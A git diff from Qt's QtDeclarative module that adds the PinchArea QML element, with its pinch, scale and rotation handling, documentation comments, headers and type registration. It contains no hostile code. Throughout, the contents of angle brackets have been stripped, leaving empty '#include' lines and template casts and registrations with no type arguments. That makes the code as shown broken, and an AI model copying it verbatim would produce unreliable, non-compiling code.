a/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitemsmodule.cpp @@ -78,6 +78,7 @@ #include "private/qdeclarativewebview_p_p.h" #endif #include "private/qdeclarativeanchors_p.h" +#include "private/qdeclarativepincharea_p.h" static QDeclarativePrivate::AutoParentResult qgraphicsobject_autoParent(QObject *obj, QObject *parent) { @@ -147,10 +148,13 @@ void QDeclarativeItemModule::defineModule() qmlRegisterType("QtQuick",1,0,"ViewSection"); qmlRegisterType("QtQuick",1,0,"VisualDataModel"); qmlRegisterType("QtQuick",1,0,"VisualItemModel"); + qmlRegisterType("QtQuick",1,1,"PinchArea"); + qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); qmlRegisterType(); + qmlRegisterType(); qmlRegisterType(); qmlRegisterType("QtQuick",1,0,"QGraphicsWidget"); qmlRegisterExtendedType("QtQuick",1,0,"QGraphicsWidget"); diff --git a/src/declarative/graphicsitems/qdeclarativepincharea.cpp b/src/declarative/graphicsitems/qdeclarativepincharea.cpp new file mode 100644 index 0000000..998c30d --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativepincharea.cpp @@ -0,0 +1,579 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qdeclarativepincharea_p.h" +#include "qdeclarativepincharea_p_p.h" + +#include +#include + +#include +#include + +QT_BEGIN_NAMESPACE + + +/*! + \qmlclass PinchEvent QDeclarativePinchEvent + \ingroup qml-event-elements + \brief The PinchEvent object provides information about a pinch event. + + \bold {The PinchEvent element was added in QtQuick 1.1} + + The \c center, \c startCenter, \c lastCenter properties provide the center position between the two touch points. + + The \c scale and \c lastScale properties provide the scale factor. + + The \c angle, \c lastAngle and \c rotation properties provide the angle between the two points and the amount of rotation. + + The \c point1, \c point2, \c startPoint1, \c startPoint2 properties provide the positions of the touch points. + + The \c accepted property may be set to false in the \c onPinchStarted handler if the gesture should not + be handled. + + \sa PinchArea +*/ + +/*! + \qmlproperty QPointF PinchEvent::center + \qmlproperty QPointF PinchEvent::startCenter + \qmlproperty QPointF PinchEvent::lastCenter + + These properties hold the position of the center point between the two touch points. + + \list + \o \c center is the current center point + \o \c lastCenter is the center point of the previous event. + \o \c startCenter is the center point when the gesture began + \endlist +*/ + +/*! + \qmlproperty real PinchEvent::scale + \qmlproperty real PinchEvent::lastScale + + These properties hold the scale factor determined by the change in distance between the two touch points. + + \list + \o \c scale is the current scale factor. + \o \c lastScale is the scale factor of the previous event. + \endlist + + When a pinch gesture is started, the scale is 1.0. +*/ + +/*! + \qmlproperty real PinchEvent::angle + \qmlproperty real PinchEvent::lastAngle + \qmlproperty real PinchEvent::rotation + + These properties hold the angle between the two touch points. + + \list + \o \c angle is the current angle between the two points in the range -180 to 180. + \o \c lastAngle is the angle of the previous event. + \o \c rotation is the total rotation since the pinch gesture started. + \endlist + + When a pinch gesture is started, the rotation is 0.0. +*/ + +/*! + \qmlproperty QPointF PinchEvent::point1 + \qmlproperty QPointF PinchEvent::startPoint1 + \qmlproperty QPointF PinchEvent::point2 + \qmlproperty QPointF PinchEvent::startPoint2 + + These properties provide the actual touch points generating the pinch. + + \list + \o \c point1 and \c point2 hold the current positions of the points. + \o \c startPoint1 and \c startPoint2 hold the positions of the points when the second point was touched. + \endlist +*/ + +/*! + \qmlproperty bool PinchEvent::accepted + + Setting this property to false in the \c PinchArea::onPinchStarted handler + will result in no further pinch events being generated, and the gesture + ignored. +*/ + +QDeclarativePinch::QDeclarativePinch() + : m_target(0), m_minScale(1.0), m_maxScale(1.0) + , m_minRotation(0.0), m_maxRotation(0.0) + , m_axis(NoDrag), m_xmin(-FLT_MAX), m_xmax(FLT_MAX) + , m_ymin(-FLT_MAX), m_ymax(FLT_MAX), m_active(false) +{ +} + +QDeclarativePinchAreaPrivate::~QDeclarativePinchAreaPrivate() +{ + delete pinch; +} + +/*! + \qmlclass PinchArea QDeclarativePinchArea + \brief The PinchArea item enables simple pinch gesture handling. + \inherits Item + + \bold {The PinchArea element was added in QtQuick 1.1} + + A PinchArea is an invisible item that is typically used in conjunction with + a visible item in order to provide pinch gesture handling for that item. + + The \l enabled property is used to enable and disable pinch handling for + the proxied item. When disabled, the pinch area becomes transparent to + mouse/touch events. + + PinchArea can be used in two ways: + + \list + \o setting a \c pinch.target to provide automatic interaction with an element + \o using the onPinchStarted, onPinchChanged and onPinchFinished handlers + \endlist + + \sa PinchEvent +*/ + +/*! + \qmlsignal PinchArea::onPinchStarted() + + This handler is called when the pinch area detects that a pinch gesture has started. + + The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, + including the scale, center and angle of the pinch. + + To ignore this gesture set the \c pinch.accepted property to false. The gesture + will be cancelled and no further events will be sent. +*/ + +/*! + \qmlsignal PinchArea::onPinchChanged() + + This handler is called when the pinch area detects that a pinch gesture has changed. + + The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, + including the scale, center and angle of the pinch. +*/ + +/*! + \qmlsignal PinchArea::onPinchFinished() + + This handler is called when the pinch area detects that a pinch gesture has finished. + + The \l {PinchEvent}{pinch} parameter provides information about the pinch gesture, + including the scale, center and angle of the pinch. +*/ + + +/*! + \qmlproperty Item PinchArea::pinch.target + \qmlproperty bool PinchArea::pinch.active + \qmlproperty real PinchArea::pinch.minimumScale + \qmlproperty real PinchArea::pinch.maximumScale + \qmlproperty real PinchArea::pinch.minimumRotation + \qmlproperty real PinchArea::pinch.maximumRotation + \qmlproperty enumeration PinchArea::pinch.dragAxis + \qmlproperty real PinchArea::pinch.minimumX + \qmlproperty real PinchArea::pinch.maximumX + \qmlproperty real PinchArea::pinch.minimumY + \qmlproperty real PinchArea::pinch.maximumY + + \c pinch provides a convenient way to make an item react to pinch gestures. + + \list + \i \c pinch.target specifies the id of the item to drag. + \i \c pinch.active specifies if the target item is currently being dragged. + \i \c pinch.minimumScale and \c pinch.maximumScale limit the range of the Item::scale property. + \i \c pinch.minimumRotation and \c pinch.maximumRotation limit the range of the Item::rotation property. + \i \c pinch.dragAxis specifies whether dragging in not allowed (\c Pinch.NoDrag), can be done horizontally (\c Pinch.XAxis), vertically (\c Pinch.YAxis), or both (\c Pinch.XandYAxis) + \i \c pinch.minimum and \c pinch.maximum limit how far the target can be dragged along the corresponding axes. + \endlist +*/ + +QDeclarativePinchArea::QDeclarativePinchArea(QDeclarativeItem *parent) + : QDeclarativeItem(*(new QDeclarativePinchAreaPrivate), parent) +{ + Q_D(QDeclarativePinchArea); + d->init(); +} + +QDeclarativePinchArea::~QDeclarativePinchArea() +{ +} + +/*! + \qmlproperty bool PinchArea::enabled + This property holds whether the item accepts pinch gestures. + + This property defaults to true. +*/ +bool QDeclarativePinchArea::isEnabled() const +{ + Q_D(const QDeclarativePinchArea); + return d->absorb; +} + +void QDeclarativePinchArea::setEnabled(bool a) +{ + Q_D(QDeclarativePinchArea); + if (a != d->absorb) { + d->absorb = a; + emit enabledChanged(); + } +} + +bool QDeclarativePinchArea::event(QEvent *event) +{ + Q_D(QDeclarativePinchArea); + if (!d->absorb || !isVisible()) + return QDeclarativeItem::event(event); + switch (event->type()) { + case QEvent::TouchBegin: + case QEvent::TouchUpdate: { + QTouchEvent *touch = static_cast(event); + d->touchPoints.clear(); + for (int i = 0; i < touch->touchPoints().count(); ++i) { + if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) { + d->touchPoints << touch->touchPoints().at(i); + } + } + updatePinch(); + } + return true; + case QEvent::TouchEnd: + d->touchPoints.clear(); + updatePinch(); + break; + default: + return QDeclarativeItem::event(event); + } + + return QDeclarativeItem::event(event); +} + +void QDeclarativePinchArea::updatePinch() +{ + Q_D(QDeclarativePinchArea); + if (d->touchPoints.count() != 2) { + if (d->inPinch) { + d->stealMouse = false; + setKeepMouseGrab(false); + d->inPinch = false; + const qreal rotationAngle = d->pinchStartAngle - d->pinchLastAngle; + QPointF pinchCenter = mapFromScene(d->sceneLastCenter); + QDeclarativePinchEvent pe(pinchCenter, d->pinchLastScale, d->pinchLastAngle, rotationAngle); + pe.setStartCenter(d->pinchStartCenter); + pe.setLastCenter(pinchCenter); + pe.setLastAngle(d->pinchLastAngle); + pe.setLastScale(d->pinchLastScale); + pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); + pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); + pe.setPoint1(d->lastPoint1); + pe.setPoint2(d->lastPoint2); + emit pinchFinished(&pe); + if (d->pinch && d->pinch->target()) + d->pinch->setActive(false); + } + return; + } + if (d->touchPoints.at(0).state() & Qt::TouchPointPressed + || d->touchPoints.at(1).state() & Qt::TouchPointPressed) { + d->sceneStartPoint1 = d->touchPoints.at(0).scenePos(); + d->sceneStartPoint2 = d->touchPoints.at(1).scenePos(); + d->inPinch = false; + d->pinchRejected = false; + } else if (!d->pinchRejected){ + QDeclarativeItem *grabber = scene() ? qobject_cast(scene()->mouseGrabberItem()) : 0; + if (grabber == this || !grabber || !grabber->keepMouseGrab()) { + const int dragThreshold = QApplication::startDragDistance(); + QPointF p1 = d->touchPoints.at(0).scenePos(); + QPointF p2 = d->touchPoints.at(1).scenePos(); + qreal dx = p1.x() - p2.x(); + qreal dy = p1.y() - p2.y(); + qreal dist = sqrt(dx*dx + dy*dy); + QPointF sceneCenter = (p1 + p2)/2; + qreal angle = QLineF(p1, p2).angle(); + if (angle > 180) + angle -= 360; + if (!d->inPinch) { + if (qAbs(p1.x()-d->sceneStartPoint1.x()) > dragThreshold + || qAbs(p1.y()-d->sceneStartPoint1.y()) > dragThreshold + || qAbs(p2.x()-d->sceneStartPoint2.x()) > dragThreshold + || qAbs(p2.y()-d->sceneStartPoint2.y()) > dragThreshold) { + d->sceneStartCenter = sceneCenter; + d->sceneLastCenter = sceneCenter; + d->pinchStartCenter = mapFromScene(sceneCenter); + d->pinchStartDist = dist; + d->pinchStartAngle = angle; + d->pinchLastScale = 1.0; + d->pinchLastAngle = angle; + d->lastPoint1 = d->touchPoints.at(0).pos(); + d->lastPoint2 = d->touchPoints.at(1).pos(); + QDeclarativePinchEvent pe(d->pinchStartCenter, 1.0, angle, 0.0); + pe.setStartCenter(d->pinchStartCenter); + pe.setLastCenter(d->pinchStartCenter); + pe.setLastAngle(d->pinchLastAngle); + pe.setLastScale(d->pinchLastScale); + pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); + pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); + pe.setPoint1(d->lastPoint1); + pe.setPoint2(d->lastPoint2); + emit pinchStarted(&pe); + if (pe.accepted()) { + d->inPinch = true; + d->stealMouse = true; + grabMouse(); + setKeepMouseGrab(true); + if (d->pinch && d->pinch->target()) { + d->pinchStartPos = pinch()->target()->pos(); + d->pinchStartScale = d->pinch->target()->scale(); + d->pinchStartRotation = d->pinch->target()->rotation(); + d->pinch->setActive(true); + } + } else { + d->pinchRejected = true; + } + } + } else if (d->pinchStartDist > 0) { + qreal scale = dist / d->pinchStartDist; + qreal rotationAngle = d->pinchStartAngle - angle; + if (rotationAngle > 180) + rotationAngle -= 360; + QPointF pinchCenter = mapFromScene(sceneCenter); + QDeclarativePinchEvent pe(pinchCenter, scale, angle, rotationAngle); + pe.setStartCenter(d->pinchStartCenter); + pe.setLastCenter(mapFromScene(d->sceneLastCenter)); + pe.setLastAngle(d->pinchLastAngle); + pe.setLastScale(d->pinchLastScale); + pe.setStartPoint1(mapFromScene(d->sceneStartPoint1)); + pe.setStartPoint2(mapFromScene(d->sceneStartPoint2)); + pe.setPoint1(d->touchPoints.at(0).pos()); + pe.setPoint2(d->touchPoints.at(1).pos()); + d->pinchLastScale = scale; + d->sceneLastCenter = sceneCenter; + d->pinchLastAngle = angle; + d->lastPoint1 = d->touchPoints.at(0).pos(); + d->lastPoint2 = d->touchPoints.at(1).pos(); + emit pinchChanged(&pe); + if (d->pinch && d->pinch->target()) { + qreal s = d->pinchStartScale * scale; + s = qMin(qMax(pinch()->minimumScale(),s), pinch()->maximumScale()); + pinch()->target()->setScale(s); + QPointF pos = sceneCenter - d->sceneStartCenter + d->pinchStartPos; + if (pinch()->axis() & QDeclarativePinch::XAxis) { + qreal x = pos.x(); + if (x < pinch()->xmin()) + x = pinch()->xmin(); + else if (x > pinch()->xmax()) + x = pinch()->xmax(); + pinch()->target()->setX(x); + } + if (pinch()->axis() & QDeclarativePinch::YAxis) { + qreal y = pos.y(); + if (y < pinch()->ymin()) + y = pinch()->ymin(); + else if (y > pinch()->ymax()) + y = pinch()->ymax(); + pinch()->target()->setY(y); + } + if (d->pinchStartRotation >= pinch()->minimumRotation() + && d->pinchStartRotation <= pinch()->maximumRotation()) { + qreal r = rotationAngle + d->pinchStartRotation; + r = qMin(qMax(pinch()->minimumRotation(),r), pinch()->maximumRotation()); + pinch()->target()->setRotation(r); + } + } + } + } + } +} + +void QDeclarativePinchArea::mousePressEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + d->stealMouse = false; + if (!d->absorb) + QDeclarativeItem::mousePressEvent(event); + else { + setKeepMouseGrab(false); + event->setAccepted(true); + } +} + +void QDeclarativePinchArea::mouseMoveEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + if (!d->absorb) { + QDeclarativeItem::mouseMoveEvent(event); + return; + } +} + +void QDeclarativePinchArea::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + d->stealMouse = false; + if (!d->absorb) { + QDeclarativeItem::mouseReleaseEvent(event); + } else { + QGraphicsScene *s = scene(); + if (s && s->mouseGrabberItem() == this) + ungrabMouse(); + setKeepMouseGrab(false); + } +} + +bool QDeclarativePinchArea::sceneEvent(QEvent *event) +{ + bool rv = QDeclarativeItem::sceneEvent(event); + if (event->type() == QEvent::UngrabMouse) { + setKeepMouseGrab(false); + } + return rv; +} + +bool QDeclarativePinchArea::sendMouseEvent(QGraphicsSceneMouseEvent *event) +{ + Q_D(QDeclarativePinchArea); + QGraphicsSceneMouseEvent mouseEvent(event->type()); + QRectF myRect = mapToScene(QRectF(0, 0, width(), height())).boundingRect(); + + QGraphicsScene *s = scene(); + QDeclarativeItem *grabber = s ? qobject_cast(s->mouseGrabberItem()) : 0; + bool stealThisEvent = d->stealMouse; + if ((stealThisEvent || myRect.contains(event->scenePos().toPoint())) && (!grabber || !grabber->keepMouseGrab())) { + mouseEvent.setAccepted(false); + for (int i = 0x1; i <= 0x10; i <<= 1) { + if (event->buttons() & i) { + Qt::MouseButton button = Qt::MouseButton(i); + mouseEvent.setButtonDownPos(button, mapFromScene(event->buttonDownPos(button))); + } + } + mouseEvent.setScenePos(event->scenePos()); + mouseEvent.setLastScenePos(event->lastScenePos()); + mouseEvent.setPos(mapFromScene(event->scenePos())); + mouseEvent.setLastPos(mapFromScene(event->lastScenePos())); + + switch(mouseEvent.type()) { + case QEvent::GraphicsSceneMouseMove: + mouseMoveEvent(&mouseEvent); + break; + case QEvent::GraphicsSceneMousePress: + mousePressEvent(&mouseEvent); + break; + case QEvent::GraphicsSceneMouseRelease: + mouseReleaseEvent(&mouseEvent); + break; + default: + break; + } + grabber = qobject_cast(s->mouseGrabberItem()); + if (grabber && stealThisEvent && !grabber->keepMouseGrab() && grabber != this) + grabMouse(); + + return stealThisEvent; + } + if (mouseEvent.type() == QEvent::GraphicsSceneMouseRelease) { + d->stealMouse = false; + if (s && s->mouseGrabberItem() == this) + ungrabMouse(); + setKeepMouseGrab(false); + } + return false; +} + +bool QDeclarativePinchArea::sceneEventFilter(QGraphicsItem *i, QEvent *e) +{ + Q_D(QDeclarativePinchArea); + if (!d->absorb || !isVisible()) + return QDeclarativeItem::sceneEventFilter(i, e); + switch (e->type()) { + case QEvent::GraphicsSceneMousePress: + case QEvent::GraphicsSceneMouseMove: + case QEvent::GraphicsSceneMouseRelease: + return sendMouseEvent(static_cast(e)); + break; + case QEvent::TouchBegin: + case QEvent::TouchUpdate: { + QTouchEvent *touch = static_cast(e); + d->touchPoints.clear(); + for (int i = 0; i < touch->touchPoints().count(); ++i) + if (!(touch->touchPoints().at(i).state() & Qt::TouchPointReleased)) + d->touchPoints << touch->touchPoints().at(i); + updatePinch(); + } + return d->inPinch; + case QEvent::TouchEnd: + d->touchPoints.clear(); + updatePinch(); + break; + default: + break; + } + + return QDeclarativeItem::sceneEventFilter(i, e); +} + +void QDeclarativePinchArea::geometryChanged(const QRectF &newGeometry, + const QRectF &oldGeometry) +{ + QDeclarativeItem::geometryChanged(newGeometry, oldGeometry); +} + +QVariant QDeclarativePinchArea::itemChange(GraphicsItemChange change, + const QVariant &value) +{ + return QDeclarativeItem::itemChange(change, value); +} + +QDeclarativePinch *QDeclarativePinchArea::pinch() +{ + Q_D(QDeclarativePinchArea); + if (!d->pinch) + d->pinch = new QDeclarativePinch; + return d->pinch; +} + + +QT_END_NAMESPACE diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p.h new file mode 100644 index 0000000..9a73a17 --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p.h @@ -0,0 +1,308 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEPINCHAREA_H +#define QDECLARATIVEPINCHAREA_H + +#include + +QT_BEGIN_HEADER + +QT_BEGIN_NAMESPACE + +QT_MODULE(Declarative) + +class Q_AUTOTEST_EXPORT QDeclarativePinch : public QObject +{ + Q_OBJECT + + Q_ENUMS(Axis) + Q_PROPERTY(QGraphicsObject *target READ target WRITE setTarget RESET resetTarget) + Q_PROPERTY(qreal minimumScale READ minimumScale WRITE setMinimumScale NOTIFY minimumScaleChanged) + Q_PROPERTY(qreal maximumScale READ maximumScale WRITE setMaximumScale NOTIFY maximumScaleChanged) + Q_PROPERTY(qreal minimumRotation READ minimumRotation WRITE setMinimumRotation NOTIFY minimumRotationChanged) + Q_PROPERTY(qreal maximumRotation READ maximumRotation WRITE setMaximumRotation NOTIFY maximumRotationChanged) + Q_PROPERTY(Axis dragAxis READ axis WRITE setAxis NOTIFY dragAxisChanged) + Q_PROPERTY(qreal minimumX READ xmin WRITE setXmin NOTIFY minimumXChanged) + Q_PROPERTY(qreal maximumX READ xmax WRITE setXmax NOTIFY maximumXChanged) + Q_PROPERTY(qreal minimumY READ ymin WRITE setYmin NOTIFY minimumYChanged) + Q_PROPERTY(qreal maximumY READ ymax WRITE setYmax NOTIFY maximumYChanged) + Q_PROPERTY(bool active READ active NOTIFY activeChanged) + +public: + QDeclarativePinch(); + + QGraphicsObject *target() const { return m_target; } + void setTarget(QGraphicsObject *target) { + if (target == m_target) + return; + m_target = target; + emit targetChanged(); + } + void resetTarget() { + if (!m_target) + return; + m_target = 0; + emit targetChanged(); + } + + qreal minimumScale() const { return m_minScale; } + void setMinimumScale(qreal s) { + if (s == m_minScale) + return; + m_minScale = s; + emit minimumScaleChanged(); + } + qreal maximumScale() const { return m_maxScale; } + void setMaximumScale(qreal s) { + if (s == m_maxScale) + return; + m_maxScale = s; + emit maximumScaleChanged(); + } + + qreal minimumRotation() const { return m_minRotation; } + void setMinimumRotation(qreal r) { + if (r == m_minRotation) + return; + m_minRotation = r; + emit minimumRotationChanged(); + } + qreal maximumRotation() const { return m_maxRotation; } + void setMaximumRotation(qreal r) { + if (r == m_maxRotation) + return; + m_maxRotation = r; + emit maximumRotationChanged(); + } + + enum Axis { NoDrag=0x00, XAxis=0x01, YAxis=0x02, XandYAxis=0x03 }; + Axis axis() const { return m_axis; } + void setAxis(Axis a) { + if (a == m_axis) + return; + m_axis = a; + emit dragAxisChanged(); + } + + qreal xmin() const { return m_xmin; } + void setXmin(qreal x) { + if (x == m_xmin) + return; + m_xmin = x; + emit minimumXChanged(); + } + qreal xmax() const { return m_xmax; } + void setXmax(qreal x) { + if (x == m_xmax) + return; + m_xmax = x; + emit maximumXChanged(); + } + qreal ymin() const { return m_ymin; } + void setYmin(qreal y) { + if (y == m_ymin) + return; + m_ymin = y; + emit minimumYChanged(); + } + qreal ymax() const { return m_ymax; } + void setYmax(qreal y) { + if (y == m_ymax) + return; + m_ymax = y; + emit maximumYChanged(); + } + + bool active() const { return m_active; } + void setActive(bool a) { + if (a == m_active) + return; + m_active = a; + emit activeChanged(); + } + +signals: + void targetChanged(); + void minimumScaleChanged(); + void maximumScaleChanged(); + void minimumRotationChanged(); + void maximumRotationChanged(); + void dragAxisChanged(); + void minimumXChanged(); + void maximumXChanged(); + void minimumYChanged(); + void maximumYChanged(); + void activeChanged(); + +private: + QGraphicsObject *m_target; + qreal m_minScale; + qreal m_maxScale; + qreal m_minRotation; + qreal m_maxRotation; + Axis m_axis; + qreal m_xmin; + qreal m_xmax; + qreal m_ymin; + qreal m_ymax; + bool m_active; +}; + +class Q_AUTOTEST_EXPORT QDeclarativePinchEvent : public QObject +{ + Q_OBJECT + + Q_PROPERTY(QPointF center READ center) + Q_PROPERTY(QPointF startCenter READ startCenter) + Q_PROPERTY(QPointF lastCenter READ lastCenter) + Q_PROPERTY(qreal scale READ scale) + Q_PROPERTY(qreal lastScale READ lastScale) + Q_PROPERTY(qreal angle READ angle) + Q_PROPERTY(qreal lastAngle READ lastAngle) + Q_PROPERTY(qreal rotation READ rotation) + Q_PROPERTY(QPointF point1 READ point1) + Q_PROPERTY(QPointF startPoint1 READ startPoint1) + Q_PROPERTY(QPointF point2 READ point2) + Q_PROPERTY(QPointF startPoint2 READ startPoint2) + Q_PROPERTY(bool accepted READ accepted WRITE setAccepted) + +public: + QDeclarativePinchEvent(QPointF c, qreal s, qreal a, qreal r) + : QObject(), m_center(c), m_scale(s), m_angle(a), m_rotation(r) {} + + QPointF center() const { return m_center; } + QPointF startCenter() const { return m_startCenter; } + void setStartCenter(QPointF c) { m_startCenter = c; } + QPointF lastCenter() const { return m_lastCenter; } + void setLastCenter(QPointF c) { m_lastCenter = c; } + qreal scale() const { return m_scale; } + qreal lastScale() const { return m_lastScale; } + void setLastScale(qreal s) { m_lastScale = s; } + qreal angle() const { return m_angle; } + qreal lastAngle() const { return m_lastAngle; } + void setLastAngle(qreal a) { m_lastAngle = a; } + qreal rotation() const { return m_rotation; } + QPointF point1() const { return m_point1; } + void setPoint1(QPointF p) { m_point1 = p; } + QPointF startPoint1() const { return m_startPoint1; } + void setStartPoint1(QPointF p) { m_startPoint1 = p; } + QPointF point2() const { return m_point2; } + void setPoint2(QPointF p) { m_point2 = p; } + QPointF startPoint2() const { return m_startPoint2; } + void setStartPoint2(QPointF p) { m_startPoint2 = p; } + + bool accepted() const { return m_accepted; } + void setAccepted(bool a) { m_accepted = a; } + +private: + QPointF m_center; + QPointF m_startCenter; + QPointF m_lastCenter; + qreal m_scale; + qreal m_lastScale; + qreal m_angle; + qreal m_lastAngle; + qreal m_rotation; + QPointF m_point1; + QPointF m_point2; + QPointF m_startPoint1; + QPointF m_startPoint2; + bool m_accepted; +}; + + +class QDeclarativeMouseEvent; +class QDeclarativePinchAreaPrivate; +class Q_AUTOTEST_EXPORT QDeclarativePinchArea : public QDeclarativeItem +{ + Q_OBJECT + + Q_PROPERTY(bool enabled READ isEnabled WRITE setEnabled NOTIFY enabledChanged) + Q_PROPERTY(QDeclarativePinch *pinch READ pinch CONSTANT) + +public: + QDeclarativePinchArea(QDeclarativeItem *parent=0); + ~QDeclarativePinchArea(); + + bool isEnabled() const; + void setEnabled(bool); + + QDeclarativePinch *pinch(); + +Q_SIGNALS: + void enabledChanged(); + void pinchStarted(QDeclarativePinchEvent *pinch); + void pinchChanged(QDeclarativePinchEvent *pinch); + void pinchFinished(QDeclarativePinchEvent *pinch); + +protected: + void mousePressEvent(QGraphicsSceneMouseEvent *event); + void mouseReleaseEvent(QGraphicsSceneMouseEvent *event); + void mouseMoveEvent(QGraphicsSceneMouseEvent *event); + bool sceneEvent(QEvent *); + bool sendMouseEvent(QGraphicsSceneMouseEvent *event); + bool sceneEventFilter(QGraphicsItem *i, QEvent *e); + bool event(QEvent *); + + virtual void geometryChanged(const QRectF &newGeometry, + const QRectF &oldGeometry); + virtual QVariant itemChange(GraphicsItemChange change, const QVariant& value); + +private: + void updatePinch(); + void handlePress(); + void handleRelease(); + +private: + Q_DISABLE_COPY(QDeclarativePinchArea) + Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativePinchArea) +}; + +QT_END_NAMESPACE + +QML_DECLARE_TYPE(QDeclarativePinch) +QML_DECLARE_TYPE(QDeclarativePinchEvent) +QML_DECLARE_TYPE(QDeclarativePinchArea) + +QT_END_HEADER + +#endif // QDECLARATIVEPINCHAREA_H diff --git a/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h new file mode 100644 index 0000000..b1cdf68 --- /dev/null +++ b/src/declarative/graphicsitems/qdeclarativepincharea_p_p.h @@ -0,0 +1,109 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtDeclarative module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef QDECLARATIVEPINCHAREA_P_H +#define QDECLARATIVEPINCHAREA_P_H + +// +// W A R N I N G +// ------------- +// +// This file is not part of the Qt API. It exists purely as an +// implementation detail. This header file may change from version to +// version without notice, or even be removed. +// +// We mean it. +// + +#include +#include +#include +#include +#include "qdeclarativeitem_p.h" + +QT_BEGIN_NAMESPACE + +class QDeclarativePinch; +class QDeclarativePinchAreaPrivate : public QDeclarativeItemPrivate +{ + Q_DECLARE_PUBLIC(QDeclarativePinchArea) +public: + QDeclarativePinchAreaPrivate() + : absorb(true), stealMouse(false), inPinch(false) + , pinchRejected(false), pinch(0) + { + } + + ~QDeclarativePinchAreaPrivate(); + + void init() + { + Q_Q(QDeclarativePinchArea); + q->setAcceptedMouseButtons(Qt::LeftButton); + q->setAcceptTouchEvents(true); + q->setFiltersChildEvents(true); + } + + bool absorb : 1; + bool stealMouse : 1; + bool inPinch : 1; + bool pinchRejected : 1; + QDeclarativePinch *pinch; + QPointF sceneStartPoint1; + QPointF sceneStartPoint2; + QPointF lastPoint1; + QPointF lastPoint2; + qreal pinchStartDist; + qreal pinchStartScale; + qreal pinchLastScale; + qreal pinchStartRotation; + qreal pinchStartAngle; + qreal pinchLastAngle; + QPointF sceneStartCenter; + QPointF pinchStartCenter; + QPointF sceneLastCenter; + QPointF pinchStartPos; + QList touchPoints; +}; + +QT_END_NAMESPACE + +#endif // QDECLARATIVEPINCHAREA_P_H diff --git a/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml b/tests/auto/declarative/qdeclarativepincharea/data/pinchproperties.qml new file mode 100644 index 0000000..f39ea06 --- /dev/null +++ 